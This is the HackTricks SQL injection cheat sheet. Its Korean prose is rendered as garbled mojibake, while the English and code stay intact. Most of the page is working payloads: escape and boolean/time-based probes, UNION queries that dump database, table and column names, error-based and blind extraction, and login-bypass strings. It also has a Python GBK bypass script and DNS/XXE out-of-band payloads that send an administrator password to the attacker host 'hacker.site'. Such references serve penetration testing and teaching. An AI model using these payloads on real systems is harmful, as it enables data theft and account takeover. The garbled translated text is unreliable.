SQL Injection
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
SQL injection์ด๋?
An SQL injection์ ์ ํ๋ฆฌ์ผ์ด์ ์ ๋ฐ์ดํฐ๋ฒ ์ด์ค ์ฟผ๋ฆฌ์ ๊ณต๊ฒฉ์๊ฐ ๊ฐ์ ํ ์ ์๊ฒ ํ๋ ๋ณด์ ์ทจ์ฝ์ ์ ๋๋ค. ์ด ์ทจ์ฝ์ ์ ๊ณต๊ฒฉ์๊ฐ ์ ๊ทผํด์๋ ์ ๋๋ ๋ฐ์ดํฐ(๋ค๋ฅธ ์ฌ์ฉ์ ์ ๋ณด๋ ์ ํ๋ฆฌ์ผ์ด์ ์ด ์ ๊ทผํ ์ ์๋ ๋ชจ๋ ๋ฐ์ดํฐ ํฌํจ)๋ฅผ view, modify, deleteํ ์ ์๊ฒ ํ ์ ์์ต๋๋ค. ์ด๋ฌํ ํ์๋ ์ ํ๋ฆฌ์ผ์ด์ ์ ๊ธฐ๋ฅ์ด๋ ์ฝํ ์ธ ์ ์๊ตฌ์ ์ธ ๋ณ๊ฒฝ์ ์ด๋ํ๊ฑฐ๋, ์ฌ์ง์ด ์๋ฒ ์นจํด ํน์ denial of service๋ก ์ด์ด์ง ์ ์์ต๋๋ค.
์ง์ ์ ํ์ง
์ฌ์ดํธ๊ฐ SQL injection (SQLi) ๊ด๋ จ ์ ๋ ฅ์ ๋ํด ๋น์ ์์ ์ธ ์๋ฒ ์๋ต์ ๋ณด์ด๋ฉฐ **vulnerable to SQL injection (SQLi)**์ฒ๋ผ ๋ณด์ผ ๋, first step์ ์ฟผ๋ฆฌ๋ฅผ ๋ง๊ฐ๋จ๋ฆฌ์ง ์๊ณ ์ด๋ป๊ฒ inject data into the query without disrupting itํ ์ง ์ดํดํ๋ ๊ฒ์ ๋๋ค. ์ด๋ฅผ ์ํด ํ์ฌ ์ปจํ ์คํธ์์ ํจ๊ณผ์ ์ผ๋ก escape from the current contextํ ๋ฐฉ๋ฒ์ ์๋ณํด์ผ ํฉ๋๋ค. ๋ค์์ ๋ช ๊ฐ์ง ์ ์ฉํ ์์์ ๋๋ค:
[Nothing]
'
"
`
')
")
`)
'))
"))
`))
๊ทธ๋ฐ ๋ค์, ์ด๋ป๊ฒ query๋ฅผ ์์ ํ์ฌ errors๊ฐ ๋ฐ์ํ์ง ์๊ฒ ํ๋์ง ์์์ผ ํฉ๋๋ค. query๋ฅผ ์์ ํ๊ธฐ ์ํด์๋ input ๋ฐ์ดํฐ๋ฅผ ๋ฃ์ด previous query๊ฐ ์ ๋ฐ์ดํฐ๋ฅผ ๋ฐ์๋ค์ด๋๋ก ํ๊ฑฐ๋, ๋จ์ํ inputํ ๋ฐ์ดํฐ ๋ค์ comment symbol์ ์ถ๊ฐํ๋ฉด ๋ฉ๋๋ค.
์ฐธ๊ณ : query๊ฐ ์๋ํ ๋์ ์๋ํ์ง ์์ ๋์ ์ฐจ์ด๋ฅผ ๋ฐ๊ฒฌํ๊ฑฐ๋ error messages๋ฅผ ๋ณผ ์ ์๋ค๋ฉด ์ด ๋จ๊ณ๊ฐ ๋ ์ฌ์์ง๋๋ค.
Comments
MySQL
#comment
-- comment [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
๋ ผ๋ฆฌ ์ฐ์ฐ์ผ๋ก ํ์ธํ๊ธฐ
์ ๋ขฐํ ์ ์๋ SQL injection ์ทจ์ฝ์ ํ์ธ ๋ฐฉ๋ฒ ์ค ํ๋๋ ๋
ผ๋ฆฌ ์ฐ์ฐ์ ์ํํ๊ณ ์์๋๋ ๊ฒฐ๊ณผ๋ฅผ ๊ด์ฐฐํ๋ ๊ฒ์
๋๋ค. ์๋ฅผ ๋ค์ด, ?username=Peter ๊ฐ์ GET parameter๊ฐ ?username=Peter' or '1'='1๋ก ์์ ํ์ ๋ ๋์ผํ ์ฝํ
์ธ ๋ฅผ ๋ฐํํ๋ฉด SQL injection ์ทจ์ฝ์ ์ด ์๋ ๊ฒ์
๋๋ค.
๋ง์ฐฌ๊ฐ์ง๋ก, ์ํ์ ์ฐ์ฐ์ ์ ์ฉ๋ ํจ๊ณผ์ ์ธ ํ์ธ ๊ธฐ๋ฒ์
๋๋ค. ์๋ฅผ ๋ค์ด ?id=1๊ณผ ?id=2-1์ ์ ๊ทผํ์ ๋ ๊ฐ์ ๊ฒฐ๊ณผ๊ฐ ๋์จ๋ค๋ฉด SQL injection์์ ์์ฌํฉ๋๋ค.
๋ ผ๋ฆฌ ์ฐ์ฐ ํ์ธ ์์:
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
์ด ๋จ์ด ๋ชฉ๋ก์ ์ ์๋ ๋ฐฉ์์ผ๋ก SQLinjections์ ํ์ธํ๊ธฐ ์ํด ๋ง๋ค์ด์ก์ต๋๋ค:
True SQLi
``` true 1 1>0 2-1 0+1 1*1 1%2 1 & 1 1&1 1 && 2 1&&2 -1 || 1 -1||1 -1 oR 1=1 1 aND 1=1 (1)oR(1=1) (1)aND(1=1) -1/**/oR/**/1=1 1/**/aND/**/1=1 1' 1'>'0 2'-'1 0'+'1 1'*'1 1'%'2 1'&'1'='1 1'&&'2'='1 -1'||'1'='1 -1'oR'1'='1 1'aND'1'='1 1" 1">"0 2"-"1 0"+"1 1"*"1 1"%"2 1"&"1"="1 1"&&"2"="1 -1"||"1"="1 -1"oR"1"="1 1"aND"1"="1 1` 1`>`0 2`-`1 0`+`1 1`*`1 1`%`2 1`&`1`=`1 1`&&`2`=`1 -1`||`1`=`1 -1`oR`1`=`1 1`aND`1`=`1 1')>('0 2')-('1 0')+('1 1')*('1 1')%('2 1')&'1'=('1 1')&&'1'=('1 -1')||'1'=('1 -1')oR'1'=('1 1')aND'1'=('1 1")>("0 2")-("1 0")+("1 1")*("1 1")%("2 1")&"1"=("1 1")&&"1"=("1 -1")||"1"=("1 -1")oR"1"=("1 1")aND"1"=("1 1`)>(`0 2`)-(`1 0`)+(`1 1`)*(`1 1`)%(`2 1`)&`1`=(`1 1`)&&`1`=(`1 -1`)||`1`=(`1 -1`)oR`1`=(`1 1`)aND`1`=(`1 ```ํ์ด๋ฐ์ผ๋ก ํ์ธํ๊ธฐ
์ด๋ค ๊ฒฝ์ฐ์๋ ํ ์คํธ ์ค์ธ ํ์ด์ง์์ ์๋ฌด๋ฐ ๋ณํ๋ ๋ณด์ด์ง ์์ ์ ์์ต๋๋ค. ๋ฐ๋ผ์ DB๊ฐ ์์ ์ ์ํํ๋๋ก ํด ํ์ด์ง ๋ก๋์ ์ํฅ์ ์ฃผ๊ฒ ํ๋ ๊ฒ์ blind SQL injections์ ๋ฐ๊ฒฌํ๋ ์ข์ ๋ฐฉ๋ฒ์ ๋๋ค.\
๋ฐ๋ผ์ ์ฐ๋ฆฌ๋ SQL ์ฟผ๋ฆฌ์ ์๋ฃํ๋ ๋ฐ ๋ง์ ์๊ฐ์ด ๊ฑธ๋ฆฌ๋ ์ฐ์ฐ์ concatํ์ฌ ์ถ๊ฐํ ๊ฒ์ ๋๋ค:
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
์ด๋ค ๊ฒฝ์ฐ์๋ sleep ํจ์๊ฐ ํ์ฉ๋์ง ์์ ์ ์์ต๋๋ค. ๊ทธ๋ฐ ํจ์๋ฅผ ์ฌ์ฉํ๋ ๋์ ์ฟผ๋ฆฌ๊ฐ ๋ช ์ด๊ฐ ๊ฑธ๋ฆฌ๋ ๋ณต์กํ ์ฐ์ฐ์ ์ํํ๋๋ก ๋ง๋ค ์ ์์ต๋๋ค. ์ด๋ฌํ ๊ธฐ๋ฒ๋ค์ ์์๋ ๊ฐ ๊ธฐ์ ๋ณ๋ก(์๋ ๊ฒฝ์ฐ)์ ๋ณ๋๋ก ์ค๋ช ๋ฉ๋๋ค.
๋ฐฑ์๋ ์๋ณ
๋ฐฑ์๋๋ฅผ ์๋ณํ๋ ๊ฐ์ฅ ์ข์ ๋ฐฉ๋ฒ์ ๋ค์ํ ๋ฐฑ์๋์ ํจ์๋ฅผ ์คํํด ๋ณด๋ ๊ฒ์ ๋๋ค. ์ด์ ์น์ ์ sleep ํจ์๋ฅผ ์ฌ์ฉํ๊ฑฐ๋ ๋ค์ ๊ฒ๋ค์ ์ฌ์ฉํ ์ ์์ต๋๋ค (ํ ์ถ์ฒ: payloadsallthethings:
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
["@@CONNECTIONS>0" ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
["ROWNUM=ROWNUM" ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
["LNNVL(0=123)" ,"ORACLE"],
["5::int=5" ,"POSTGRESQL"],
["5::integer=5" ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
["current_database()=current_database()" ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()" ,"SQLITE"],
["last_insert_rowid()>1" ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
["val(cvar(1))=1" ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
๋ํ, query์ ์ถ๋ ฅ์ ์ ๊ทผํ ์ ์๋ค๋ฉด ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ๋ฒ์ ์ถ๋ ฅ์ ํ๊ฒ ๋ง๋ค ์ ์์ต๋๋ค.
Tip
๊ณ์ํด์ ๋ค์ํ ์ข ๋ฅ์ SQL Injection์ ์ ์ฉํ๋ ์ฌ๋ฌ ๋ฐฉ๋ฒ์ ๋ ผ์ํฉ๋๋ค. ์์๋ก MySQL์ ์ฌ์ฉํฉ๋๋ค.
Identifying with PortSwigger
SQL injection cheat sheet | Web Security Academy
Union Based ์ ์ฉ
์ปฌ๋ผ ์ ํ์ธ
If you can see the output of the query this is the best way to exploit it.
๋จผ์ , ์ด๊ธฐ ์์ฒญ์ด ๋ฐํํ๋ ์ปฌ๋ผ ์๋ฅผ ์์๋ด์ผ ํฉ๋๋ค. ์ด๋ ๋ ์ฟผ๋ฆฌ ๋ชจ๋ ๋์ผํ ์ปฌ๋ผ ์๋ฅผ ๋ฐํํด์ผ ํ๊ธฐ ๋๋ฌธ์
๋๋ค.
์ด๋ฅผ ์ํด ์ผ๋ฐ์ ์ผ๋ก ๋ ๊ฐ์ง ๋ฐฉ๋ฒ์ด ์ฌ์ฉ๋ฉ๋๋ค:
Order/Group by
To determine the number of columns in a query, incrementally adjust the number used in ORDER BY or GROUP BY clauses until a false response is received. Despite the distinct functionalities of GROUP BY and ORDER BY within SQL, both can be utilized identically for ascertaining the queryโs column count.
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
UNION SELECT
์ฟผ๋ฆฌ๊ฐ ์ฌ๋ฐ๋ฅผ ๋๊น์ง null ๊ฐ์ ์ ์ ๋ ๋ง์ด SELECT ํ์ธ์:
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
์ผ๋ถ ๊ฒฝ์ฐ ์ฟผ๋ฆฌ์ ์์ชฝ ์ปฌ๋ผ ํ์
์ด ๋์ผํด์ผ ํ๋ฏ๋ก ๋ชจ๋ ๊ฒฝ์ฐ์ ์ ํจํ null ๊ฐ์ ์ฌ์ฉํด์ผ ํฉ๋๋ค.
๋ฐ์ดํฐ๋ฒ ์ด์ค ์ด๋ฆ, ํ ์ด๋ธ ์ด๋ฆ ๋ฐ ์ปฌ๋ผ ์ด๋ฆ ์ถ์ถ
๋ค์ ์์ ๋ค์์๋ ๋ชจ๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค ์ด๋ฆ, ํน์ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ํ ์ด๋ธ ์ด๋ฆ, ๊ทธ๋ฆฌ๊ณ ํ ์ด๋ธ์ ์ปฌ๋ผ ์ด๋ฆ์ ๊ฐ์ ธ์ต๋๋ค:
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
๋ฐ์ดํฐ๋ฒ ์ด์ค๋ง๋ค ์ด ๋ฐ์ดํฐ๋ฅผ ๋ฐ๊ฒฌํ๋ ๋ฐฉ๋ฒ์ ๋ค๋ฅด์ง๋ง, ๊ธฐ๋ณธ์ ์ธ ๋ฐฉ๋ฒ๋ก ์ ํญ์ ๋์ผํฉ๋๋ค.
Exploiting Hidden Union Based
query์ ์ถ๋ ฅ์ด ๋ณด์ด์ง๋ง union-based injection์ด ๋ถ๊ฐ๋ฅํด ๋ณด์ธ๋ค๋ฉด, ์ด๋ hidden union-based injection์ด ์กด์ฌํจ์ ์๋ฏธํฉ๋๋ค. ์ด ์ํฉ์ ์ข ์ข blind injection ์ํฉ์ผ๋ก ์ด์ด์ง๋๋ค. blind injection์ union-based injection์ผ๋ก ์ ํํ๋ ค๋ฉด, ๋ฐฑ์๋์์ ์คํ๋๋ query๋ฅผ ํ์ ํด์ผ ํฉ๋๋ค.
์ด๋ blind injection ๊ธฐ๋ฒ๊ณผ ๋์ DBMS์ ํนํ๋ ๊ธฐ๋ณธ ํ ์ด๋ธ๋ค์ ํจ๊ป ์ฌ์ฉํ์ฌ ์ํํ ์ ์์ต๋๋ค. ์ด๋ฌํ ๊ธฐ๋ณธ ํ ์ด๋ธ์ ์ดํดํ๋ ค๋ฉด ๋์ DBMS์ ๋ฌธ์๋ฅผ ์ฐธ๊ณ ํ๋ ๊ฒ์ด ์ข์ต๋๋ค.
query๋ฅผ ์ถ์ถํ ํ์๋ ์๋ query๋ฅผ ์์ ํ๊ฒ ๋ซ์ ์ ์๋๋ก payload๋ฅผ ์กฐ์ ํด์ผ ํฉ๋๋ค. ๊ทธ ๋ค์ payload์ union query๋ฅผ ์ถ๊ฐํ๋ฉด ์๋ก ์ด๋ฆฐ union-based injection์ ์ ์ฉํ ์ ์์ต๋๋ค.
๋ ์์ธํ ๋ด์ฉ์ ์ ์ฒด ๊ธ Healing Blind Injections๋ฅผ ์ฐธ์กฐํ์ธ์.
Exploiting Error based
์ด๋ค ์ด์ ๋ก cannot see the output of the query ํ์ง๋ง see the error messages๋ ๋ณผ ์ ์๋ค๋ฉด, ์ด error messages๋ฅผ ์ด์ฉํด ๋ฐ์ดํฐ๋ฒ ์ด์ค์์ ๋ฐ์ดํฐ๋ฅผ ex-filtrateํ ์ ์์ต๋๋ค.
Union Based exploitation๊ณผ ์ ์ฌํ ํ๋ฆ์ ๋ฐ๋ผ๊ฐ๋ฉด DB๋ฅผ dumpํ ์ ์์ต๋๋ค.
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
Blind SQLi ์ ์ฉ
์ด ๊ฒฝ์ฐ query์ ๊ฒฐ๊ณผ๋ ์๋ฌ๋ ๋ณผ ์ ์์ง๋ง, ํ์ด์ง์ ๋ด์ฉ์ด ๋ฌ๋ผ์ง๊ธฐ ๋๋ฌธ์ query๊ฐ true ๋๋ false ์๋ต์ returnํ ๋๋ฅผ ๊ตฌ๋ถํ ์ ์์ต๋๋ค.
์ด ๊ฒฝ์ฐ ์ด๋ฌํ ๋์์ ์
์ฉํ์ฌ database๋ฅผ ๋ฌธ์ ๋จ์๋ก dumpํ ์ ์์ต๋๋ค:
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
Exploiting Error Blind SQLi
์ด๊ฒ์ ์ด์ ๊ณผ ๊ฐ์ ๊ฒฝ์ฐ์ด์ง๋ง, ์ฟผ๋ฆฌ์ true/false ์๋ต์ ๊ตฌ๋ณํ๋ ๋์ ๊ตฌ๋ณํ์ฌ ์ฟผ๋ฆฌ์์ ์ค๋ฅ๊ฐ ๋ฐ์ํ๋์ง ์ฌ๋ถ(์๋ง๋ HTTP ์๋ฒ๊ฐ ํฌ๋์ํ๊ธฐ ๋๋ฌธ์ผ ์ ์์ต๋๋ค)๋ฅผ ํ๋จํ ์ ์์ต๋๋ค. ๋ฐ๋ผ์, ์ด ๊ฒฝ์ฐ์๋ ๋ฌธ์๋ฅผ ์ฌ๋ฐ๋ฅด๊ฒ ์ถ์ธกํ ๋๋ง๋ค SQLerror๋ฅผ ๊ฐ์ ๋ก ๋ฐ์์ํฌ ์ ์์ต๋๋ค:
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
Time Based SQLi ์ ์ฉ
์ด ๊ฒฝ์ฐ ํ์ด์ง์ ์ปจํ ์คํธ๋ง์ผ๋ก๋ ์ฟผ๋ฆฌ์ ์๋ต์ ๊ตฌ๋ถํ ๋ฐฉ๋ฒ์ด ์์ต๋๋ค. ํ์ง๋ง ์ถ์ธกํ ๋ฌธ์๊ฐ ๋ง์ผ๋ฉด ํ์ด์ง์ ๋ก๋ ์๊ฐ์ด ๋ ๊ธธ์ด์ง๋๋ก ๋ง๋ค ์ ์์ต๋๋ค. ์ฐ๋ฆฌ๋ ์ด๋ฏธ confirm a SQLi vuln์ ํ์ธํ๊ธฐ ์ํด ์ด ๊ธฐ์ ์ด ์ฌ์ฉ๋๋ ๊ฒ์ ๋ณธ ์ ์ด ์์ต๋๋ค.
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
Stacked Queries
stacked queries๋ฅผ ์ฌ์ฉํ๋ฉด ์ฌ๋ฌ ์ฟผ๋ฆฌ๋ฅผ ์ฐ์์ผ๋ก ์คํํ ์ ์์ต๋๋ค. ํ์ ์ฟผ๋ฆฌ๋ค์ด ์คํ๋๋๋ผ๋, ๊ฒฐ๊ณผ๋ ์ ํ๋ฆฌ์ผ์ด์ ์ผ๋ก ๋ฐํ๋์ง ์์ต๋๋ค. ๋ฐ๋ผ์ ์ด ๊ธฐ๋ฒ์ ์ฃผ๋ก blind vulnerabilities์ ๊ด๋ จ๋์ด ์ ์ฉํ๋ฉฐ, ๋ ๋ฒ์งธ ์ฟผ๋ฆฌ๋ฅผ ํตํด DNS ์กฐํ, ์กฐ๊ฑด๋ถ ์ค๋ฅ ๋๋ ์๊ฐ ์ง์ฐ์ ์ ๋ฐํ ์ ์์ต๋๋ค.
Oracle๋ stacked queries๋ฅผ ์ง์ํ์ง ์์ต๋๋ค. MySQL, Microsoft ๋ฐ PostgreSQL๋ ์ด๋ฅผ ์ง์ํฉ๋๋ค: QUERY-1-HERE; QUERY-2-HERE
Out of band Exploitation
๋ง์ฝ ๋ค๋ฅธ exploitation ๋ฐฉ๋ฒ์ด ์๋ํ์ง ์์๋ค๋ฉด, ๋ฐ์ดํฐ๋ฒ ์ด์ค๊ฐ ๋น์ ์ด ์ ์ดํ๋ external host๋ก ์ ๋ณด๋ฅผ database ex-filtrateํ๋๋ก ์๋ํ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด, DNS ์ฟผ๋ฆฌ๋ฅผ ํตํด:
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
XXE๋ฅผ ํตํ Out of band data exfiltration
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
Automated Exploitation
SQLi ์ทจ์ฝ์ ์ exploitํ๊ธฐ ์ํด SQLMap Cheatsheet์ sqlmap๋ฅผ ํ์ธํ์ธ์.
Tech specific info
์ฐ๋ฆฌ๋ ์ด๋ฏธ SQL Injection ์ทจ์ฝ์ ์ exploitํ๋ ๋ชจ๋ ๋ฐฉ๋ฒ์ ๋ ผ์ํ์ต๋๋ค. ์ด ์ฑ ์์ ๋ฐ์ดํฐ๋ฒ ์ด์ค ๊ธฐ์ ๋ณ๋ก ๋ ๋ง์ ํธ๋ฆญ์ ์ฐพ์๋ณด์ธ์:
๋๋ MySQL, PostgreSQL, Oracle, MSSQL, SQLite and HQL์ ๊ดํ ๋ง์ ํธ๋ฆญ์ https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection์์ ์ฐพ์ ์ ์์ต๋๋ค.
Authentication bypass
๋ก๊ทธ์ธ ๊ธฐ๋ฅ์ ์ฐํํ๊ธฐ ์ํด ์๋ํ ๋ชฉ๋ก:
Raw hash authentication Bypass
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
์ด ์ฟผ๋ฆฌ๋ MD5๊ฐ authentication checks์์ raw output์ ์ํด true๋ก ์ฌ์ฉ๋ ๋ ๋ฐ์ํ๋ ์ทจ์ฝ์ ์ ๋ณด์ฌ์ฃผ๋ฉฐ, ์์คํ ์ SQL injection์ ์ทจ์ฝํ๊ฒ ๋ง๋ญ๋๋ค. ๊ณต๊ฒฉ์๋ค์ ํด์๋์์ ๋ ์์์น ๋ชปํ SQL ๋ช ๋ น ๋ถ๋ถ์ ์์ฑํ๋๋ก ์ ๋ ฅ์ ์กฐ์ํ์ฌ ์ด๋ฅผ ์ ์ฉํ ์ ์์ผ๋ฉฐ, ๊ทธ ๊ฒฐ๊ณผ ๋ฌด๋จ ์ ๊ทผ์ด ๋ฐ์ํ ์ ์์ต๋๋ค.
md5("ffifdyop", true) = 'or'6๏ฟฝ]๏ฟฝ๏ฟฝ!r,๏ฟฝ๏ฟฝb๏ฟฝ
sha1("3fDf ", true) = Q๏ฟฝu'='๏ฟฝ@๏ฟฝ[๏ฟฝt๏ฟฝ- o๏ฟฝ๏ฟฝ_-!
Injected hash authentication Bypass
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
์ถ์ฒ ๋ชฉ๋ก:
๋ชฉ๋ก์ ๊ฐ ์ค์ username์ผ๋ก ์ฌ์ฉํ๊ณ password๋ ํญ์: Pass1234.
(This payloads are also included in the big list mentioned at the beginning of this section)
GBK Authentication Bypass
๋ง์ฝ โ๊ฐ escape ์ฒ๋ฆฌ๋๋ค๋ฉด %A8%27์ ์ฌ์ฉํ ์ ์์ผ๋ฉฐ, โ๊ฐ escape ์ฒ๋ฆฌ๋์์ ๋ ์์ฑ๋๋ ๊ฒ์: 0xA80x5c0x27 (โโ)
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
Python ์คํฌ๋ฆฝํธ:
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
Polyglot injection (multicontext)
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
Insert Statement
Modify password of existing object/user
์ด๋ฅผ ์ํด์๋ ๋ฌด์ธ๊ฐ๋ฅผ ์์ ํ์ฌ โmaster objectโ๋ก ์ด๋ฆ์ด ์ง์ ๋ ์๋ก์ด object๋ฅผ ์์ฑํด ๋ณด์์ผ ํฉ๋๋ค(์ฌ์ฉ์๋ผ๋ฉด ์๋ง admin์ผ ๊ฐ๋ฅ์ฑ์ด ํฝ๋๋ค):
- Create user named: AdMIn (๋๋ฌธ์ ๋ฐ ์๋ฌธ์ ํผํฉ)
- Create a user named: admin=
- SQL Truncation Attack (username ๋๋ email์ **๊ธธ์ด ์ ํ(length limit)**์ด ์๋ ๊ฒฝ์ฐ) โ> Create user with name: admin [a lot of spaces] a
SQL Truncation Attack
๋ฐ์ดํฐ๋ฒ ์ด์ค๊ฐ ์ทจ์ฝํ๊ณ username์ ์ต๋ ๋ฌธ์ ์๊ฐ ์๋ฅผ ๋ค์ด 30์์ด๊ณ ์ฌ์ฉ์์ธ admin์ ๊ฐ์ฅํ๋ ค๋ฉด, โadmin [30 spaces] aโ๋ผ๋ ์ฌ์ฉ์๋ช ์ ๋ง๋ค๊ณ ์๋ฌด ๋น๋ฐ๋ฒํธ๋ ์ค์ ํด ๋ณด์ธ์.
๋ฐ์ดํฐ๋ฒ ์ด์ค๋ ์ ๋ ฅ๋ username์ด ๋ฐ์ดํฐ๋ฒ ์ด์ค ๋ด์ ์กด์ฌํ๋์ง๋ฅผ ํ์ธํฉ๋๋ค. ๋ง์ฝ ์กด์ฌํ์ง ์์ผ๋ฉด, ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ username์ ํ์ฉ๋ ์ต๋ ๊ธธ์ด๋ก ์๋ผ๋ ๋๋ค(์ด ๊ฒฝ์ฐ โadmin [25 spaces]โ๋ก) ๊ทธ๋ฆฌ๊ณ ๋ง์ง๋ง์ ์๋ ๋ชจ๋ ๊ณต๋ฐฑ์ ์๋์ผ๋ก ์ ๊ฑฐํ์ฌ ๋ฐ์ดํฐ๋ฒ ์ด์ค ๋ด์ ์ฌ์ฉ์ โadminโ์ ์ ๋น๋ฐ๋ฒํธ๋ก ์ ๋ฐ์ดํธํฉ๋๋ค(์ค๋ฅ๊ฐ ๋ฐ์ํ ์ ์์ง๋ง ์ด๊ฒ์ด ๋์ํ์ง ์์๋ค๋ ๊ฒ์ ์๋ฏธํ์ง๋ ์์ต๋๋ค).
More info: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref
Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation
MySQL Insert time based checking
VALUES ๋ฌธ์ ๋น ์ ธ๋์ค๊ธฐ ์ํด ํ์ํ ๋งํผ ','',''๋ฅผ ์ถ๊ฐํ์ธ์. delay๊ฐ ์คํ๋๋ฉด SQLInjection์ด ์กด์ฌํฉ๋๋ค.
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
ON DUPLICATE KEY UPDATE
MySQL์ ON DUPLICATE KEY UPDATE ์ ์ UNIQUE index ๋๋ PRIMARY KEY์ ์ค๋ณต ๊ฐ์ด ๋ฐ์ํ๋ ํ์ ์ฝ์
